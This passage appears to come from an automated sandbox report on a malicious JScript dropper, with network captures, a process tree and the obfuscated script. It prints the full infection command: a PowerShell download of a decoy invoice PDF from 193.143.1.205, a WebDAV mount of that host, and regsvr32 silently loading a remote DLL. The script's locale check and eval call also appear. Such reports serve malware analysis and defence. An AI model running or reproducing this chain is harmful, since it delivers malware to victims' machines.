Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:47:45.357822895 CET	1.1.1.1	192.168.2.6	0x611e	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:48:09.451277018 CET	1.1.1.1	192.168.2.6	0xcda5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:48:09.451277018 CET	1.1.1.1	192.168.2.6	0xcda5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:48:45.611720085 CET	1.1.1.1	192.168.2.6	0x13be	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:48:45.611720085 CET	1.1.1.1	192.168.2.6	0x13be	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:49:09.702307940 CET	1.1.1.1	192.168.2.6	0x3d6f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:49:09.702307940 CET	1.1.1.1	192.168.2.6	0x3d6f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	5336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:47:05.911333084 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 14, 2025 08:47:06.708719969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:47:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 14, 2025 08:47:06.708780050 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 14, 2025 08:47:06.708817005 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 14, 2025 08:47:06.708851099 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 14, 2025 08:47:06.708887100 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 14, 2025 08:47:06.708925009 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 14, 2025 08:47:06.708961010 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 14, 2025 08:47:06.709001064 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 14, 2025 08:47:06.709048033 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 14, 2025 08:47:06.709078074 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 14, 2025 08:47:06.713957071 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5260	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:47:08.410020113 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 14, 2025 08:47:09.198673964 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 07:47:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:47:02
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js"
Imagebase:	0x7ff704e80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:47:03
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Imagebase:	0x7ff6cc920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:47:03
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:47:03
Start date:	14/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cc920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff622650000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:47:07
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1740,i,5722693158205743987,1927859512332386665,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dcovgu() {	dcovgu() ➔ undefined
1	this[jzusyr + ppbfkw + ejqwwd + huszhclkm] ( "isobjt=[1031,3079,5127,4103,2055,3072];var zjkaiq=this[hbluzzymf+ejqwwd+kevxyqxw+mxfjmf+jzusyr+ysulyd+nhraiqxt+zzrapah](this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][ghatyabmc+kevxyqxw+jzusyr+ejqwwd+zzrapah+jzusyr+dilvpuqud+texwr+mjsmybact+jzusyr+oygprlav+zzrapah](nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah+oxfhigtfk+loqragse+glmmdw+jzusyr+huszhclkm+huszhclkm)[riwpdjbn+jzusyr+cbjxyoap+riwpdjbn+jzusyr+ejqwwd+vygpub](zemyiods+yottmg+pmscixoiu+pvbyu+ayndzds+ghatyabmc+dvwfnbyg+riwpdjbn+riwpdjbn+pmscixoiu+yeqwsejtf+krzndqlm+ayndzds+dvwfnbyg+loqragse+pmscixoiu+riwpdjbn+hdgotskco+ghatyabmc+opmqegv+nhraiqxt+zzrapah+kevxyqxw+opmqegv+huszhclkm+xeraz+chcuiguwr+ejqwwd+nhraiqxt+jzusyr+huszhclkm+hdgotskco+ysulyd+nhraiqxt+zzrapah+jzusyr+kevxyqxw+nhraiqxt+ejqwwd+zzrapah+pceetz+opmqegv+nhraiqxt+ejqwwd+huszhclkm+hdgotskco+euaqb+opmqegv+oygprlav+ejqwwd+huszhclkm+jzusyr),16);for(nqhulrmt=0;nqhulrmt<isobjt[huszhclkm+jzusyr+nhraiqxt+cbjxyoap+zzrapah+glmmdw];++nqhulrmt){if(zjkaiq==isobjt[nqhulrmt]){zjkaiq=true;break;}}if(zjkaiq!==true)this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][zbscuwffj+wookxh+pceetz+zzrapah]();this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][ghatyabmc+kevxyqxw+jzusyr+ejqwwd+zzrapah+jzusyr+dilvpuqud+texwr+mjsmybact+jzusyr+oygprlav+zzrapah](nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah+oxfhigtfk+loqragse+glmmdw+jzusyr+huszhclkm+huszhclkm)[kevxyqxw+wookxh+nhraiqxt](oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+hbluzzymf+opmqegv+dtetpb+jzusyr+kevxyqxw+mxfjmf+glmmdw+jzusyr+huszhclkm+huszhclkm+oxfhigtfk+jzusyr+rnuyaog+jzusyr+xeraz+zwukyoowj+ghatyabmc+opmqegv+lgdprl+lgdprl+ejqwwd+nhraiqxt+vygpub+xeraz+egxgmb+ysulyd+nhraiqxt+ppbfkw+opmqegv+icmjy+jzusyr+zwukyoowj+nalrki+jzusyr+texwr+riwpdjbn+jzusyr+auulosy+wookxh+jzusyr+mxfjmf+zzrapah+xeraz+zwukyoowj+dilvpuqud+wookxh+zzrapah+caspkjqy+pceetz+huszhclkm+jzusyr+xeraz+bwrkkaf+zzrapah+jzusyr+lgdprl+hbluzzymf+bwrkkaf+hdgotskco+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+vygpub+ehgmttt+xeraz+glmmdw+zzrapah+zzrapah+hbluzzymf+nqdvp+ohlosb+ohlosb+bhpfcirp+wwgjmza+humxgl+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+ohlosb+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+glmmdw+hbluzzymf+egxgmb+xafifqqt+xafifqqt+mxfjmf+zzrapah+ejqwwd+kevxyqxw+zzrapah+xeraz+bwrkkaf+zzrapah+jzusyr+lgdprl+hbluzzymf+bwrkkaf+hdgotskco+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+vygpub+ehgmttt+xafifqqt+xafifqqt+oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+nhraiqxt+jzusyr+zzrapah+xeraz+wookxh+mxfjmf+jzusyr+xeraz+hdgotskco+hdgotskco+bhpfcirp+wwgjmza+humxgl+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+txqxl+zwbfohce+zwbfohce+zwbfohce+zwbfohce+hdgotskco+vygpub+ejqwwd+ppbfkw+dtetpb+dtetpb+dtetpb+kevxyqxw+opmqegv+opmqegv+zzrapah+hdgotskco+xafifqqt+xafifqqt+oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+kevxyqxw+jzusyr+cbjxyoap+mxfjmf+ppbfkw+kevxyqxw+humxgl+bnjqpz+xeraz+ohlosb+mxfjmf+xeraz+hdgotskco+hdgotskco+bhpfcirp+wwgjmza+humxgl+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+txqxl+zwbfohce+zwbfohce+zwbfohce+zwbfohce+hdgotskco+vygpub+ejqwwd+ppbfkw+dtetpb+dtetpb+dtetpb+kevxyqxw+opmqegv+opmqegv+zzrapah+hdgotskco+bhpfcirp+humxgl+zwbfohce+mxoxaacqh+xysswy+bhpfcirp+duhikd+wwgjmza+rjxlwcsfi+duhikd+bhpfcirp+xysswy+duhikd+bhpfcirp+xysswy+oxfhigtfk+vygpub+huszhclkm+huszhclkm,0,false);" );	eval("isobjt=[1031,3079,5127,4103,2055,3072];var zjkaiq=this[hbluzzymf+ejqwwd+kevxyqxw+mxfjmf+jzusyr+ysulyd+nhraiqxt+zzrapah](this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][ghatyabmc+kevxyqxw+jzusyr+ejqwwd+zzrapah+jzusyr+dilvpuqud+texwr+mjsmybact+jzusyr+oygprlav+zzrapah](nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah+oxfhigtfk+loqragse+glmmdw+jzusyr+huszhclkm+huszhclkm)[riwpdjbn+jzusyr+cbjxyoap+riwpdjbn+jzusyr+ejqwwd+vygpub](zemyiods+yottmg+pmscixoiu+pvbyu+ayndzds+ghatyabmc+dvwfnbyg+riwpdjbn+riwpdjbn+pmscixoiu+yeqwsejtf+krzndqlm+ayndzds+dvwfnbyg+loqragse+pmscixoiu+riwpdjbn+hdgotskco+ghatyabmc+opmqegv+nhraiqxt+zzrapah+kevxyqxw+opmqegv+huszhclkm+xeraz+chcuiguwr+ejqwwd+nhraiqxt+jzusyr+huszhclkm+hdgotskco+ysulyd+nhraiqxt+zzrapah+jzusyr+kevxyqxw+nhraiqxt+ejqwwd+zzrapah+pceetz+opmqegv+nhraiqxt+ejqwwd+huszhclkm+hdgotskco+euaqb+opmqegv+oygprlav+ejqwwd+huszhclkm+jzusyr),16);for(nqhulrmt=0;nqhulrmt<isobjt[huszhclkm+jzusyr+nhraiqxt+cbjxyoap+zzrapah+glmmdw];++nqhulrmt){if(zjkaiq==isobjt[nqhulrmt]){zjkaiq=true;break;}}if(zjkaiq!==true)this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][zbscuwffj+wookxh+pceetz+zzrapah]();this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][ghatyabmc+kevxyqxw+jzusyr+ejqwwd+zzrapah+jzusyr+dilvpuqud+texwr+mjsmybact+jzusyr+oygprlav+zzrapah](nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah+oxfhigtfk+loqragse+glmmdw+jzusyr+huszhclkm+huszhclkm)[kevxyqxw+wookxh+nhraiqxt](oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+hbluzzymf+opmqegv+dtetpb+jzusyr+kevxyqxw+mxfjmf+glmmdw+jzusyr+huszhclkm+huszhclkm+oxfhigtfk+jzusyr+rnuyaog+jzusyr+xeraz+zwukyoowj+ghatyabmc+opmqegv+lgdprl+lgdprl+ejqwwd+nhraiqxt+vygpub+xeraz+egxgmb+ysulyd+nhraiqxt+ppbfkw+opmqegv+icmjy+jzusyr+zwukyoowj+nalrki+jzusyr+texwr+riwpdjbn+jzusyr+auulosy+wookxh+jzusyr+mxfjmf+zzrapah+xeraz+zwukyoowj+dilvpuqud+wookxh+zzrapah+caspkjqy+pceetz+huszhclkm+jzusyr+xeraz+bwrkkaf+zzrapah+jzusyr+lgdprl+hbluzzymf+bwrkkaf+hdgotskco+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+vygpub+ehgmttt+xeraz+glmmdw+zzrapah+zzrapah+hbluzzymf+nqdvp+ohlosb+ohlosb+bhpfcirp+wwgjmza+humxgl+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+ohlosb+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+glmmdw+hbluzzymf+egxgmb+xafifqqt+xafifqqt+mxfjmf+zzrapah+ejqwwd+kevxyqxw+zzrapah+xeraz+bwrkkaf+zzrapah+jzusyr+lgdprl+hbluzzymf+bwrkkaf+hdgotskco+pceetz+nhraiqxt+ppbfkw+opmqegv+pceetz+oygprlav+jzusyr+oxfhigtfk+hbluzzymf+vygpub+ehgmttt+xafifqqt+xafifqqt+oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+nhraiqxt+jzusyr+zzrapah+xeraz+wookxh+mxfjmf+jzusyr+xeraz+hdgotskco+hdgotskco+bhpfcirp+wwgjmza+humxgl+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+txqxl+zwbfohce+zwbfohce+zwbfohce+zwbfohce+hdgotskco+vygpub+ejqwwd+ppbfkw+dtetpb+dtetpb+dtetpb+kevxyqxw+opmqegv+opmqegv+zzrapah+hdgotskco+xafifqqt+xafifqqt+oygprlav+lgdprl+vygpub+xeraz+ohlosb+oygprlav+xeraz+kevxyqxw+jzusyr+cbjxyoap+mxfjmf+ppbfkw+kevxyqxw+humxgl+bnjqpz+xeraz+ohlosb+mxfjmf+xeraz+hdgotskco+hdgotskco+bhpfcirp+wwgjmza+humxgl